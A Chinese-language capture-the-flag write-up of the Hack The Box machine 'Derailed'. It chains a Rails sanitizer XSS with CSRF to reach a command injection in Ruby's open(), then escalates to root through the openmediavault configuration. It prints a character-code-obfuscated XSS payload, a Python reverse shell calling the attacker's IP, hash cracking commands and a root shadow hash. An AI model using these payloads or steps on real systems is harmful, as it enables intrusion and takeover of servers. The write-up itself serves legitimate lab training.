基本信息
端口扫描
22和3000:
1 | nmap -sC -sV -Pn 10.10.11.190 |
3000
clipnote:
目录扫描
目录扫描发现rails,(最重要的是rails这个,dirsearch默认能扫出来,gobuster常规扫描没这个结果):
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://10.10.11.190:3000/ |
/rails/info/properties
rails的环境变量等信息:
routes
根据文档查看routes,得到所有路由信息:
- Class: Rails::InfoController — Documentation for rails/rails (main)
https://www.rubydoc.info/github/rails/rails/Rails/InfoController
clipnotes
随意测试提交,修改id为1知道alice用户:
report
另外存在report功能,应该是后端有个bot会查看我们提交的内容:
XSS & CSRF
用到的漏洞是这个,因为cookie有httponly,所以需要结合csrf进行利用:
1530898 Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag
大概流程
- 通过XSS去获取administration页面的结构
- 获取有效csrf token,攻击/administration/reports
xss
注册用户名,xss:
1 | # <any 40 characters><bypass-pattern><xss-payload> |
xss payload作为用户名,任意内容提交report,测试执行,成功触发xss:
后续就是一步步,通过xss获取信息,根据获取到的后台信息,我们知道需要获取有效的authenticity_token,然后csrf利用report_log处的命令注入:
要发帖,我们需要先制作一个恶意表单,然后分配获取authenticity_token
的和 cmd 注入负载
最终构造出完整exp,整段js编码后注入到用户名中:
- Character Code Finder
http://www.mauvecloud.net/charsets/CharCodeFinder.html
1 | miaomiaomiaomiaomiaomiaomiaomiaomiaomiao<select<style/><img src="http://10.10.14.3:7777" onerror="eval(String.fromCharCode(<obfuscated-char-code>))"> |
测试,每一步都成功执行,包括测试的curl命令注入:
reverse shell
修改命令,得到reverse shell:
1 | document.getElementById('badform').elements.report_log.value = '|python3 -c \'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("bash")\''; |
vuln
查看代码可以看到是直接用了ruby的open函数,特性导致的命令注入:
- Module: Kernel (Ruby 2.1.0)
https://ruby-doc.org/core-2.1.0/Kernel.html#method-i-open
如果path
以管道字符 ( "|"
) 开头,则会创建一个子进程,并通过一对管道连接到调用者。返回的IO对象可用于写入标准输入并从此子进程的标准输出中读取。
1 | # /var/www/rails-app/app/controllers/admin_controller.rb |
administration
1 | <form method="post" action="/administration/reports"> |
token.js
1 | var xmlHttp = new XMLHttpRequest(); |
evilform.js
1 | // just copy the form code from above and clean it up a bit |
exp.js
1 | var xmlHttp = new XMLHttpRequest(); |
user flag
rails用户shell中写公钥后ssh连接,方便后续操作,rails用户目录得到user flag:
信息
/var/www/rails-app/db/development.sqlite3中可以得到两个hash:
1 | select username,password_digest,role from users where id<5; |
可以破解出来toby的密码:
1 | sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
alice
/var/www/rails-app/ 中,查看git log,可以得到alice的密码:
1 | git log |
openmediavault-webgui
查看存在的用户,得到的toby密码可以切换到openmediavault-webgui:
1 | rails@derailed:/var/www/rails-app$ cat /etc/passwd | grep bash |
1 | openmediavault-webgui@derailed:~$ ls -al /etc/openmediavault/config.xml |
omv 工具存储在/usr/sbin/
. 由于此应用程序用于管理对资源的访问控制。我们可以使用它为高权限用户添加新的访问方法。在这种情况下,我们可以让 root 用户接受我们的public ssh key
,这样我们就可以以 root 身份通过 ssh 进入目标
- [GUIDE] Enable SSH with Public Key Authentication (Securing remote webUI access to OMV) - Guides - openmediavault
https://forum.openmediavault.org/index.php?thread/7822-guide-enable-ssh-with-public-key-authentication-securing-remote-webui-access-to/
提权 & root flag
按照文档转换ssh公钥格式,修改配置文件,例如把test user修改为root ssh登录,然后替换配置文件,应用生效,登录:
1 | local |
shadow
1 | root:$y$j9T$4H76C3VvReuiPfwg2kJ8T/$UAFsX2eC7xz.RgSYn.wNsvbIagSoGNBaoh.0/aNhrf4:19142:0:99999:7::: |
参考资料
Class: Rails::InfoController — Documentation for rails/rails (main)
https://www.rubydoc.info/github/rails/rails/Rails/InfoController1530898 Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag
Character Code Finder
http://www.mauvecloud.net/charsets/CharCodeFinder.htmlModule: Kernel (Ruby 2.1.0)
https://ruby-doc.org/core-2.1.0/Kernel.html#method-i-open[GUIDE] Enable SSH with Public Key Authentication (Securing remote webUI access to OMV) - Guides - openmediavault
https://forum.openmediavault.org/index.php?thread/7822-guide-enable-ssh-with-public-key-authentication-securing-remote-webui-access-to/Derailed - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Derailed-HTB-DiscussionHTB - Derailed [Insane] // meowmeowattack
https://meowmeowattack.github.io/htb/derailed/